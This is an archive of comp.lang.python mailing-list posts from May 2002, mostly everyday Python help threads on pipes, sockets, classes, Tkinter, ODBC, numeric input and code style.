GMT Subject: Python 2.2.1: os.popen() bug? References: <3CF21645.C760B615@snakefarm.org> Message-ID: Quoth Carsten Gaebler : | If I write to a pipe that was opened read-only, python throws an | exception, but then the interpreter hangs instead of exiting. Is this | beavior expected or a bug? Consider this example on Linux: | | #! /usr/bin/python | | import os | | pipe = os.popen("mail -s Test foo at bar.org") | print >> pipe, "Test" # Raises IOError. | pipe.close() # Never reached. I think you'll find that the same happens even if you don't write to it. On exit, Python cleans up everything, and its cleanup for your "pipe" file object eventually calls pclose(3). That function closes the pipe, and then waits for the process to exit so it can return the exit status. That works -- if the process on the other end is actually going to use the pipe. If you had supplied the 'w' option, mail would have seen EOF at that point, and would have gone on to send the mail and exit. If it had been for some reason writing to output, it would have gotten a SIGPIPE. But it doesn't write to output, it just sits there and waits for input. And Python's cleanup procedure waits for it. Donn Cave, donn at u.washington.edu From timo at alum.mit.edu Wed May 1 00:39:17 2002 From: timo at alum.mit.edu (Timothy O'Malley) Date: Wed, 01 May 2002 00:39:17 -0400 Subject: non-blocking sockets References: Message-ID: hola. The complexity of the answer could depend on the depth of your question. Do you really have *one* socket that you are trying to read from? Are you managing a host of sockets, reading from each as it becomes ready? The simple answer: The select() module gives you the ability to check if a socket has data available. Another helpful tidbit: Use the timeoutsocket module! http://www.timo-tasi.org/python/timeoutsocket.py This module gives you the ability to set a specific timeout value on any TCP socket. In either case, I'd suggest using blocking sockets over non-blocking ones to start. Move to non-blocking sockets when you comfortably have select() under your belt. TimO so very tired wrote: > When trying to read from a socket, I don't want it hanging, so I set it to > non-blocking by calling > > setblocking(0) > > but then when I try to read from it and there is no data in the socket, I > get an error. I tried this in both windows and linux and in both I get an > error and the program stops. It says there's an exception but it doesn't > say the name of the exception so I can't even try to catch. > Does anyone know how I can check if there's data coming from a socket > connection without hanging or having the program barf on me? > Thanks. > mRiaz > > From greg at cosc.canterbury.ac.nz Mon May 6 23:01:23 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Tue, 07 May 2002 15:01:23 +1200 Subject: Need help... References: <409a56e2.0205052334.77d409f2@posting.google.com> Message-ID: <3CD74383.F5AF6CA1@cosc.canterbury.ac.nz> Shagshag wrote: > > (a, b) -> v1 -> v2 > (a, c) -> v3 -> v5 -> v8 > (b, c) -> v1 -> v4 > (a, b, c) -> v2 -> v4 -> v7 > > and i must be able to retrieve (a, b) with (b, a), (a, c) with (c, a) > and (a, b, c) with (a, c, b), (c, a, b), (b, a, c) or any combination > of the three... Create a sorted copy of the tuple and use that as a dictionary key. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From hank at prosysplus.com Sun May 12 18:54:04 2002 From: hank at prosysplus.com (Hank Fay) Date: Sun, 12 May 2002 18:54:04 -0400 Subject: The vault and XP References: <79c63baa.0205120705.3ca59f6a@posting.google.com> Message-ID: I use XP and have no problem. Hank "Drake" wrote in message news:79c63baa.0205120705.3ca59f6a at posting.google.com... > Ever since upgrading (ie re-tooling) to XPPro, I have not been able to > access the vault. No problem from home on 98SE w/IE5.5. > > I'm thinking it's a service, or a policy problem. Anybody heard of > this before or have any suggestions on how to fix it? > > Thanks > > Drake From pyth at devel.trillke.net Fri May 10 11:32:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 17:32:37 +0200 Subject: is there a better way... In-Reply-To: ; from ChrisE@lantech.com on Fri, May 10, 2002 at 11:16:55AM -0400 References: Message-ID: <20020510173237.C25906@prim.han.de> Christopher Encapera wrote: > to loop over a list and replace an element based on its value than: > > x = [1,2,3,4,5,6,7,8,9] > y = len(x) > z = 0 > while z < y: > element = x[z] > if element == 5: x[z] = '678' > z = z +1 > > > Another words is there a way to do this with a "for" statement - some method > that will return the current z (of x[z]) in the loop? def subst(elem): if elem==5: elem='678' return elem m= map(subst, [1,2,3,4,5,6,7,8,9]) >>> print m [1, 2, 3, 4, '678', 6, 7, 8, 9] > (My goal is to open Windows logon scripts and update the path to the latest > virus DAT's) noble :-) holger From duncan at NOSPAMrcp.co.uk Thu May 30 04:29:35 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 08:29:35 +0000 (UTC) Subject: changing new style classes py2.2 References: Message-ID: robert_kuzelj at yahoo.com (Robert Kuzelj) wrote in news:eaef2e43.0205291225.45a6b751 at posting.google.com: >>>> #some examples >>>class A(object): >>>..def meth1(self): pass >>>..def meth2(self): pass > >>> A.__dict__["meth3"] = A.meth1 > this throws "TypeError: object does not support item assignment" > this was perfectly legal in old style classes. > > so i could at least workaround by writing the following code >>>exec "A.%(name1)s = A.%(name2)s" % {"name1": "meth5", "name2": "meth1"} > not very clear or very pythonic. > > the workaraound is simply ugly (and sure is slower). But the usual way of doing this is neither slow nor ugly: >>> setattr(A, "meth3", A.meth1) -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From mhammond at skippinet.com.au Wed May 15 19:19:52 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 15 May 2002 23:19:52 GMT Subject: Registering PythonCOM22.dll fails? References: <3ce26bc3.709282671@news.skynet.be> Message-ID: <3CE2ED59.4040508@skippinet.com.au> henk.derudder at barconet.com wrote: > Hi, > > I am trying to register PythonCOM22.dll through regsvr32.exe. I get > the eroormessage that DllRegisterServer is not exported. Using the > dependency walker learns me that this is indeed the case, however > DllRegisterServerEx *is* exported. Any idea how I can get this dll > registered? This DLL can not be registered with regsvr32. DllRegisterServerEx() was for an obscure feature of regsvr32 that never turned out to be useful ( the idea was you could say "regsvr32 myfile.py" and have it register.) Why do you think you need to register it? You register Python COM objects by executing the .py file that implements the object, not by using regsvr32.exe. Mark. From donald.braman at yale.edu Thu May 9 18:07:10 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 15:07:10 -0700 Subject: odbc advice? References: Message-ID: Hmmm...just did a quick search/review of ADO. Looks neat. I'm on a 2000 box right now, but I think I'd like to keep the linux/bsd door open. Thanks for the idea, though. -Don "dsavitsk" wrote in message news:UrBC8.12217$d7.4156923 at newssrv26.news.prodigy.com... > if you are on Win32, why not use ADO or ADO.NET? > -d > > "don" wrote in message > news:abel0d$anh$1 at news.ycc.yale.edu... > > I'm trying to update table in a SQL Server 2000 database. The following > (and > > other similar) code hangs Python about half of the time when I run it and > > then, once hung, will hang every time until I reboot. Does anyone have any > > tips on handling odbc connections in Python? I've been hunting around for > a > > while, but haven't found descriptions of hangs like this. My reference of > > choice (Python Web Programming) tells me the ODBC driver isn't ready for > > prime-time. I'm not sure I have any other options, though. Any help > > appreciated. -Don > > > > ++++++++++++++++++++++++ > > > > import dbi, odbc > > > > conn = odbc.odbc('mydb') > > > > cur = conn.cursor() > > > > cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE > > updateopinion=1""") > > > > > > > > From whisper at oz.net Fri May 17 22:11:12 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 19:11:12 -0700 Subject: Two Tkinter questions In-Reply-To: Message-ID: Can't help you with the grid question. You might want to look at the Tcl/Tk docs for grid though. As for the scrollbar linkup question, I don't know of this being done in Python, but it was done in a Tcl Tk widget called mclistbox: http://www2.clearlight.com/~oakley/tcl/mclistbox/index.html. Perhaps looking it over can suggest how it might be done in python. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Mike Callahan > Sent: Friday, May 17, 2002 18:03 > To: python-list at python.org > Subject: Two Tkinter questions > > > Question #1 > > I want a text widget to completely fill its space. I can do this > in tkinter > using the pack geometery manager: > text.pack(fill='both', expand=1) > If I resize the window, the the text widget continues to fill the window, > however if I use grid: > text.grid(sticky='nsew') > the text widget stays the same size if I make the window larger. > Can't grid > do the same thing that pack can do? > > Question #2 > > I want to make a horizontal scroll bar scroll two text widgets at the same > time. I know how to connect a scrollbar to a text widget, but is > there a way > to connect one scrollbar to two widgets? > > Thanks, > Mike Callahan > > > > -- > http://mail.python.org/mailman/listinfo/python-list From donn at drizzle.com Thu May 23 01:15:59 2002 From: donn at drizzle.com (Donn Cave) Date: Thu, 23 May 2002 05:15:59 -0000 Subject: "casting" Python objects References: Message-ID: <1022130954.959847@yasure> Quoth David Bolen : ... | The right approach is to create the appropriate subclass of | jabber.Message before putting it into the queue. Your retrieval code | won't have to worry which subclass it is, since they'll all have the | Handler function and will be dispatched appropriately. So from the | info in your original post, it sounds like your connection object is | the one that should be determining what sort of object instance to | create (e.g., FooMsg) and creating an instance of that to post to the | queue rather than jabber.Message. Or, perhaps the right approach doesn't involve inheritance at all! The object with the Handler method probably shouldn't _be_ a Message, it should just _have_ one. If you have to subclass Message just to get useful access to its contents, it's seriously broken; if you subclass it for that reason when you don't need to, you're asking for more trouble than you already have. Donn Cave, donn at drizzle.com From aahz at pythoncraft.com Thu May 2 21:40:40 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 21:40:40 -0400 Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502144016.GA16810@teich.Garten.DigitalProjects.com> <20020502150017.B25531@eecs.tufts.edu> Message-ID: In article , Alexander Skwar wrote: >=BBMichael Gilfix=AB sagte am 2002-05-02 um 15:00:17 -0400 : >> >> Just write your own map that's threadable, i.e, applies a function >> to each argument in the list and appends it. Should be trivial to >> write and you can check the threaded argument. > >Wouldn't this be way slower than the built in map? Not enough to matter, particularly if you're using something like Threading.Event. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From reply at in_newsgroup.tks Tue May 14 07:01:11 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 14 May 2002 11:01:11 GMT Subject: Python or Ruby for a newbie - Winner is Python! Message-ID: Hi all, I'd been searching for a high level programming language to learn. I hadn't previously programmed in a real language i.e. dBASE but only through the control center, Approach 3 and Access 2 and that was a few years ago. A flexible language that could be used for various purposes was what I was looking for, as opposed to two (or more!) specialized langauges. Python rose to the top of my list during my search but recently I also added Ruby as a possible candidate. To be honest, I'd only recently heard about Ruby but it sounded quite promising. I'd posted two or three times to this Python newsgroup and always received replies (a good sign of a supportive community) but my two recent posts to the Ruby newsgroup garnered zero replies! Even though Ruby has been around for about seven years, it appears that the Ruby community is focused on supporting existing programmers and not (at all?!) on promoting Ruby as a first langauge. FYI, I've pasted below my shorter, second posting to the Ruby newsgroup. As I had already discounted other langauges, I was interested in finding out if there were Ruby equivalents of various Python tools, modules etc.: --------------------------------------- Subject: Ruby for Newbie?! Newsgroups: comp.lang.ruby I want to learn a programming language. I'm primarily looking for a langauge to develop web apps and cgi. I would also like to create GUI apps and perhaps use it for some network admin tasks. I'll create apps on, and for, Linux and MS Windows. I'd narrowed down my choice to Python until I came across Ruby ;-) Is there currently a Ruby equivalent of the following Python related tools, modules, libraries etc.: 1/ Tools to create standalone apps to ease distribution i.e. no need to have Ruby installed or to ensure no conflicts between the version of Ruby used to develop the app and a different installed version. Python: Installer & py2exe. RUBY: ? 2/ IDE. Python: Boa Constructor, Pythonwin, IDLE. RUBY: Practical Ruby (basic IDE for Windows). Is there a Linux IDE for Ruby? 3/ GUI toolkits/libraries. My preference is towards using wxWindows. Python: wxPython, PyQt, PyGTK. RUBY: ? 4/ Web platforms/frameworks etc. Python: mod_snake, mod_python, Webware. RUBY: mod_ruby - any comments about it's stability/suitability for web app development? Any Ruby equivalent to Webware and it's PHP like (psp) function? 5/ One file Interpreter i.e. to use on a shared hosting co.'s server that doesn't have Ruby installed. Python: mxCGIPython (uses the freeze tool). RUBY: ? Is there an 'offical' Ruby binary for Windows? It looks like there are three unofficial ones created using three different compilers! Finally, is there a good Ruby book aimed at newbie programmers (not existing programmers new to Ruby)? Thanks, Scrumpy :) --------------------------------------- Python's community support and availability of resources helped make up my mind that Python will be my first programming language. Thanks Pythoners! :-) Scrumpy :) From fperez528 at yahoo.com Sat May 4 21:30:58 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sat, 04 May 2002 19:30:58 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> Message-ID: Tim Hammerquist wrote: > My only intent in mentioning POSIX was that on most *nix systems (esp. > POSIX ones), you can #include and compile and expect to call > a sin() function (that, btw, takes its argument in radians). Other > PC-oriented operating systems lack a standard math lib "out-of-the-box". > BTW, this isn't really a unix-or-not issue, it's simply that mathematically, the 'natural' form of all trig functions (their power series expansion) requires their arguments to be expressed in radians: the period of sin(x) is simply 2*pi, 6.1428..., whatever you want to call it. It's _not_ 360: sin(0) == 0 ; sin(360) ~ 0.96. Scientific calculators simply have a 'deg' mode which on the fly converts back and forth between degree input and radians for internal work, but that's simply a user convenience (because degrees are more conveninent for some 'everyday' use as angular measurement units). Just a little detail. Cheers, f. From charleshixsn at earthlink.net Wed May 1 13:05:35 2002 From: charleshixsn at earthlink.net (Charles Hixson) Date: Wed, 01 May 2002 10:05:35 -0700 Subject: OT: Happy Birthday Larry Niven References: <3cce9f3a$1_6@goliath.newsgroups.com> <3CCEBD17.5040903@jerf.org> Message-ID: <3CD0205F.5030501@earthlink.net> Jeremy Bowers wrote: > Brad Clements wrote: > >> .. > This is a Motie programmer at work: > http://tuxedo.org/jargon/html/The-Story-of-Mel.html . See, he uses the > same opcodes as both code *and* data at some points... just as an example. > I knew an assembly program like that. It was a sort that composed the sort criteria from the parameters to the call and embedded them into an immediate conditional branch instruction that got called later from a separate entry point into the same routine. It worked, and it was fast, but UGH! From skip at pobox.com Wed May 29 19:55:29 2002 From: skip at pobox.com (Skip Montanaro) Date: Wed, 29 May 2002 18:55:29 -0500 Subject: daemon dies on xterm kill In-Reply-To: References: Message-ID: <15605.27249.104747.970362@12-248-41-177.client.attbi.com> John> I am trying to write an xmlrpc server daemon. When I 'exit' the John> xterm that I launch the daemon in, the exit never completes and I John> still get output from the server about connection attempts, though John> I lose my prompt. How about launching it as (python myserver.py &) ? That should disconnect the process from the controlling terminal. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) Boycott Netflix - they spam From duncan at NOSPAMrcp.co.uk Wed May 8 11:27:11 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Wed, 8 May 2002 15:27:11 +0000 (UTC) Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> Message-ID: Julia Bell wrote in news:3CD9376E.BEF43213 at jpl.nasa.gov: > Using Python 1.3 on an HP (UNIX) (to write my first Python script): If you can get that upgraded to something a bit more recent you will be doing yourself a favour. > How can I define orbits to equal the value of the command line argument > and later use that variable to simply represent the number? The program arguments in sys.argv are all strings. You can compare a number with a string, but you won't get the result you expect. What you have to do is to convert the argument to an integer: #!/usr/local2/bin/python import sys count = 0 orbits = int(sys.argv[1]) while count < orbits: print count, orbits count = count + 1 if count > 100: # use this to prevent the infinite loop sys.exit ( 1 ) A useful tip when weird things happen is to use the repr function when printing the values: >>> count = 1 >>> orbits = '16' >>> print count, orbits 1 16 >>> print repr(count), repr(orbits) 1 '16' >>> In this case the quotes would have shown that you were comparing a number to a string. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From hancock at anansispaceworks.com Tue May 7 17:49:48 2002 From: hancock at anansispaceworks.com (Terry Hancock) Date: Tue, 07 May 2002 14:49:48 -0700 Subject: What makes code "readable"? References: <20020508064603.24210.7977.Mailman@mail.python.org> Message-ID: <3CD84BFC.BC289633@anansispaceworks.com> [. ... regarding the use of short variable names ... ] > > >>>>> "James" == James J Besemer writes: > James> However, for short names to be appropriate, the useage > James> needs to be simple and very local in scope. (Of course > James> where to draw the line is a judgement call). "Stephen J. Turnbull" : > My experience in X?Emacs has been that the "many hands" > eventually expand some scopes; not everybody is a good > programmer, or they may have an "important" bug that needs > "fixed right now". So you should also consider how likely > it is that somebody with a different design sense than you > will work on the code later. [Must confess I'm not sure what conclusion Stephen hoped we would draw from this -- it's clearly true, but I'm unsure what I should do about it.] I frequently use shorter variable names in loops and other local scopes as mentioned above -- sometimes I think this can make things clearer or avoid errors. I recently had some code that looked like this: for view in views: ... This kind of bugs me because I always feel like I'm going to leave out the 's' and get obnoxious bugs (more honestly, I've gotten bitten by it enough to think that). So I changed it to: for vw in views: ... (Which I still say the same way, but this makes it harder to confuse, I think). I'm still waffling over it, though -- which do you think is better? Maybe I should say 'viewtachi' and 'view', heh. ;-) (Yes, I'm kidding). I often have some confusion over whether to use plural names -- it bothers me to name a list, say 'myfiles', and then refer to an element as 'myfiles[2]' or something. Of course, in Python you don't have to do indexing like this as much (because of loop constructs like those above), so maybe it's not so important (and maybe I ought to return to the view/views instead of vw/views?). Anyway, I don't think just having long or even long pronounceable names is necessarily good -- it's got to be meaningful to the programmer. I'm not going to be quick to forgive the Zope developer who came up with 'bobobase_modification_time'. :-D I mean, sure, after some time working with it and reading the history, I've learned why it should be called that, but I'd still have been happier with 'obj_mod_time' or something. This is the other place where I use short variable names -- when the short name *is* mnemonic. I find that i, j, k, m, n are strongly mnemonic as counters, from long use in various languages starting with Fortran, and before that in mathematical notation. I therefore try very hard not to use them for anything else. Similarly, 'h_bar' may be much more mnemonic than 'reduced_plancks_constant', and the gravitational constant had better be 'G', speed of light 'c', and so on. Obviously this stuff usually happens in the number-crunching part of the code. I do a lot less of that nowadays, though. (It should be appreciated that the above sentiment is basically identical to the usage of equations versus text in a technical paper. Clearly some things are better explained in one mode or the other -- and some things ought to be both illustrated *and* explained, which is where comments become mandatory). Someone recently cursed "studly" caps -- I'm not exactly sure what qualifies as that -- I find that GetSize or similar capitalization can be useful. It's also good to have different variable systems -- in C, I used to use UPPERCASE for constants, MixedEmbeddedCaps for global or module variables or other "relative constants" and lower_case_w_underscores for normal local variables and function names. Now, with OOP in Python, I'm trying to standardize on different schemes for methods and attributes and making some effort to conform to Zope naming, since that's what I'm working with mostly. With such a zoo of object types, I generally just try to make a distinction between "verb-like" and "noun-like" objects. All of this has reminded me more and more of the "information architecture" approach described in the O'Reilly book by the same name. That was talking about publically accessable web resources and essentially library science, but a lot of it would seem to apply to good code design too. The author makes a big deal about using consistent "labels" (which concept is pretty much coincident with identifiers in programming languages). It's a good read -- it made me realize what it was that I was trying to do in designing programs and web pages alike, but couldn't articulate well. It's a lot clearer objective to me now. Of course, my current project is pretty irrationally labeled -- fixing it properly is going to be a major chore. Fortunately, I'm just compulsive enough to do it anyway. :-) I also just recently came across the concept of object "interfaces" in Python -- the Zope product developers' tutorial now includes them. They basically strike me as evil attempts to make Python resemble C++, but I'd be interested to hear any arguments to the contrary. What are they good for? I'd need some good reason to justify the accounting overhead of constantly checking that my actual API matches the interface API. These are not just academic questions, BTW -- I'm actually planning on how to rationalize my project, which I hope will be in it's first release in a few weeks. Before I expose my code to world criticism, it'd be sort of nice to work out at least the most heinous violations of common sense and good design. :-D Cheers, Terry PS -- Apologies for the attribution mistakes earlier, I got confused, obviously. And because I'm not going to post separately on it: touche to the "Perl-style" too-much-punctuation English. Funny. And true, of course. In all things, moderation! :-D -- ------------------------------------------------------ Terry Hancock hancock at anansispaceworks.com Anansi Spaceworks http://www.anansispaceworks.com ------------------------------------------------------ From erict at millfilm.co.uk Thu May 23 09:38:19 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Thu, 23 May 2002 14:38:19 +0100 Subject: os.path.join() necessary? References: <3CECD167.9020107@thomas-guettler.de> Message-ID: <3CECF0CB.85BF5EAE@millfilm.co.uk> Even on Windows. If I have a good memory , when you are in the console it doesn't mind too much for certain command to have the last '\' like '/', but with something like the following you may have problem absolute_path=dir + "/" + dir2 + "/" + file Michael Hudson wrote: > Thomas Guettler writes: > > > Is os.path.join() necessary? I use > > > > aEven on WindowsIf I have a good memory , when you are in the console > > it doesn't mind too much for certain command to have the last '\' > like '/', but if you keep building path, you may have problem > > > > > on windows (W2K) without problems. > > Try it on the Mac. > > Cheers, > M. > > -- > I'm sorry, was my bias showing again? :-) > -- William Tanksley, 13 May 2000 From sholden at holdenweb.com Sat May 4 16:46:26 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sat, 4 May 2002 16:46:26 -0400 Subject: Insert blob data to MySQL References: Message-ID: "Gerhard H?ring" wrote in message news:slrnad7acj.vc.gerhard at lilith.my-fqdn.de... > Steve Holden wrote in comp.lang.python: > > "Billy Ng" wrote ... > >> Hi folks, > >> > >> Would any body tell me how to insert a blob object to the mysql blob field > >> > > > > Here "cc" is a cursor on a MySQLdb connection ... > > > >>>> cc.execute("""CREATE TABLE blobtbl ( > > ... i integer primary key auto_increment, > > ... b blob)""") > > 0L > > [...] > > must-remember-to-delete-that-table-ly y'rs - steve > > Aren't transactions cool? ;-) > > PostgreSQL-rules-ly yours, > > Gerhard > > PS: I know you could get transactions by using a different table type > in the CREATE statement. Indeed. My experience with (for example) SQL Server has taught me that DDL statements are often committed whether or not they are part of an explicit transaction. Of course, the fact that the table was still there without commit() doesn't tell me anything with MySQL's default type though. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From cliechti at gmx.net Fri May 17 14:46:46 2002 From: cliechti at gmx.net (Chris Liechti) Date: 17 May 2002 20:46:46 +0200 Subject: pygtk vs. wxPython References: <3CE4E081.10908@thomas-guettler.de> Message-ID: Thomas Guettler wrote in news:3CE4E081.10908 at thomas-guettler.de: > I investigated during the last weeks which is better: > +pygtk or wxpython. > > After programming some code with both libraries, I prefer > pygtk. > > I prefere pygtk because wxpython has an extra layer in > the library stack: > > wxpython -- wxwindows -- wxgtk -- gtk > > pygtk -- gtk > > Do others share or disagree with this oppinion? that extra layer does not hurt... it's in c/c++ so speed is not an issue. > How well does pygtk run on windows? last time i tried it it had some minor bugs - but that's one or two releases ago, so no measure. but i would note on the negative side that it hasn't the native look. it is good but many users will complain about the look. the same aplies to tkinter. pyQT and wxWindows both look better. and wxWindows wins for me because of the more liberal license. chris -- Chris From pyth at devel.trillke.net Thu May 16 18:21:01 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 17 May 2002 00:21:01 +0200 Subject: how to determine an 'open' string? In-Reply-To: <20020517100357.609f4922.larooy@xtar.co.nz>; from larooy@xtar.co.nz.trillke.net on Fri, May 17, 2002 at 10:03:57AM +1200 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517100357.609f4922.larooy@xtar.co.nz> Message-ID: <20020517002101.R28033@prim.han.de> John La Rooy wrote: > Oh you changed the return value from 0 to 1 to the left over string ;o) huh? um, i don't think so. my open_quote returns the open *quote* (or '') not the 'left over string'. > import re > > def quoteopen(s,quot=re.compile("(?P\"\"\"|'''|\"|').*?(?P=quot)")): > return quot.sub("",s) > Noone has really discussed why simply counting the quotes is wrong. The > reason is that while scanning the string from left to right, if you come > across a quote you have to ignore all the *other* types of quotes until > you find a matching one. That's what the x!=y in Holger's solution is > checking for, and the (?P...).*?(?P=quot) does in mine. only the regex is too hungry. it eagerly matches """a"a"" although we don't want it to. > One thing that is missing here is if there is an escaped quote in the string. > Neither of the regexps here look for them. Holger said he wanted it to work > like python strings. > > Only Holger knows ;o) Do you need to check for escaped quotes Holger? yes and i thought that open_quote does it correctly. not? the reason i need normal python semantics is that it is for a 'commandline-completion' module. So it should e.g. work correctly for the regexes we are talking about :-) > [me] > > > > def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): > > """ return the open quote at the end of text. > > if all string-quotes are matched, return the > > empty string. Based on ideas from Harvey Thomas. > > """ > > rfunc = lambda x,y: x!=y and (x or y) or '' > > quotes = rex.findall(text) > > return quotes and reduce(rfunc,quotes) or '' holger From jb at cascade-sys.com Thu May 9 11:25:16 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 08:25:16 -0700 Subject: Python vs. Perl, which is better to learn? References: <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> Message-ID: <3CDA94DC.81E9B794@cascade-sys.com> Alex Martelli wrote: > [...] I agree. ;o) Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From michael.williams at st-annes.oxford.ac.uk Wed May 22 07:03:20 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Wed, 22 May 2002 12:03:20 +0100 Subject: Emulating Pascal input Message-ID: <20020522110320.GA7559@st-annes.oxford.ac.uk> Hi, We're currently running a trial implementation of a teaching course in Python here at the University of Oxford Physics department. The current course uses Pascal and, although it works well, is obviously sub-optimal for a modern undergraduate education. Details of the results of the trial will be posted to EDU-sig when it is complete, but for now we're trying to address what we see as a limitation of Python for introductory programming, namely input. Consider the following Pascal code: (******** Pascal code **********) (* Pascal ascii input of numbers: stdin and file *) readln(x, y); readln(fin, x, y); The first line is for stdin, the second for from file. The variables x and y will then contain the first two white space separated numbers the program encounters when that function is called. Here's how we're currently getting students to do the equivalent in Python: ######### Python code ########### # Either: stdin linestring = raw_input() # Or: file linestring = f.readline() linelist = string.split(linestring) x = int(linelist[0]) y = int(linelist[1]) # Or perhaps linestring = raw_input() x,y = string.split(linestring) # x and y are now strings eg. '1' # and '2' x = int(x) y = int(y) Having read through the many threads on this topic on comp.lang.python I realise and understand that modern programs' input generally requires thought and customization from the program author. However, we strongly feel there should be an equivalent to Pascal's readln (which is basically C's scanf but without the formatting strings) for simple, generally numerical, whitespace-separated input. In the two weeks out trial has been running (one to go), students' attempts to read in simple two column tables from a file has consistently caused problems due to the (relative!) complexity of string splitting. However, There is no need for a scanf (if your input is sufficiently complex to require formatting strings then either string or regex splitting is definitely a more elegant solution). I have been attempting to write such a function in Python but have been struggling with (a) the lack of pointers, and (b) my total ignoarnce of classes, which I suspect would be helpful. Here's what I have so far (although note there is no error handling--give it a string response and it falls over and dies, give it the wrong number of responses and it falls over and dies, etc., etc.): ############ ninput.py ############ import string def ninput(n, fin = None, prompt = '', sep = None): # If not file input then get string from stdin, else get from file if fin == None: linestring = raw_input(prompt) else: linestring = fin.readline() # Split up into list with optional seperator argument responses = string.split(linestring, sep) for i in range(len(responses)): if '.' in responses[i] or 'e' in responses[i] or \ 'E' in responses[i]: # i.e. if it looks like a float responses[i] = float(responses[i]) else: # i.e if it doesn't look like a float responses[i] = int(responses[i]) # If there was only one response then don't return a list. if len(responses) == 1: responses = responses[0] return responses[:n] #################################### And here is a usage example: >>> x, y = ninput(2) 5 6.0 >>> print x, type(x) 5 >>> print y, type(y) 6.0 This has the limitation that the user must pass the number of results they expect back. This is done implicitly in the Pascal version too (the number of variables passed to the function). However, error checking is difficult as this version stands. If the student using the ninput function does, e.g. >>> x = ninput(2) 5 6.0 [5, 6.0] This is possibly what should be expected. However, passing the numerical argument representing the number of results expected does not strike me as a particularly graceful solution. We would prefer something like the Pascal way, where the global variables in which the results are to be stored are passed as parameters. Can anyone suggest a way of doing this? And if such an equivalent to the Pascal construct was implemented, what would be the chances of getting it included in, say, the string module of core Python. We would like such a function but would be reluctant to use it as we would then be teaching our students a ``dialect'' of Python. -- Michael Williams From shalehperry at attbi.com Wed May 15 19:21:28 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 15 May 2002 16:21:28 -0700 (PDT) Subject: Beginner: HTML Parsing In-Reply-To: Message-ID: On 15-May-2002 J. David Lashar wrote: > As a beginner, I'm working through the O'Reilly books mentioned in an > earlier posting, but I haven't found much guidance on parsing an HTML file > once I've pulled it down with httplib. And I'm finding the Python Library > Reference to be a bit cryptic. Could someone point to resources or provide > examples? > the obvious place to start is htmllib. A few google searchs should give you plenty of examples. From rnd at onego.ru Sat May 18 01:46:31 2002 From: rnd at onego.ru (Roman Suzi) Date: Sat, 18 May 2002 09:46:31 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <3CE5BA14.DD755007@cascade-sys.com> Message-ID: On Fri, 17 May 2002, James J. Besemer wrote: > Fernando P?rez wrote: > > > I beg to differ. Mathematically, there's nothing in the idea of a set that > > makes it immutable. I know that Python is not a mathematics-only language, > > but much of the cleanliness of its design does come from following abstract > > ideas as much as is reasonable. And enforcing immutability on a set is one > > hell of a breakage for an object as basic to many mathematical ideas as a set > > is. > > I beg to differ. Mathematically, there's no notion of assignment like we have in > programming. From a traditional mathematics view " x = x + 1" is a nonsensical > statement. At best it's a contradiction in terms. In Mathematics, you don't > have assignment that can be done over and over. You can only make statements > about equality or inequality. At bottom all mathematics is defined in terms of > sets and predicates about sets. It is right. But if you look into applied math journals, people communicate algorithms in a pseudolanguage where sets are widely used. It could be nice if Python supported such things closer. > In the context of mathematics I would argue that ALL objects are > immutable. When you say "2 + 3 = 5", the 2 and the 3 don't cease to > exist. Numbers are immutable. Similarly, when you say B union C you > are defining a third, new set, composed of the union of the first two. > The first two don't go away. They continue to exist (necessarily) to > maintain the definition of the result. You don't destroy or reuse the > previous ones. Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From gbreed at cix.compulink.co.uk Tue May 14 09:31:12 2002 From: gbreed at cix.compulink.co.uk (gbreed at cix.compulink.co.uk) Date: Tue, 14 May 2002 13:31:12 +0000 (UTC) Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker 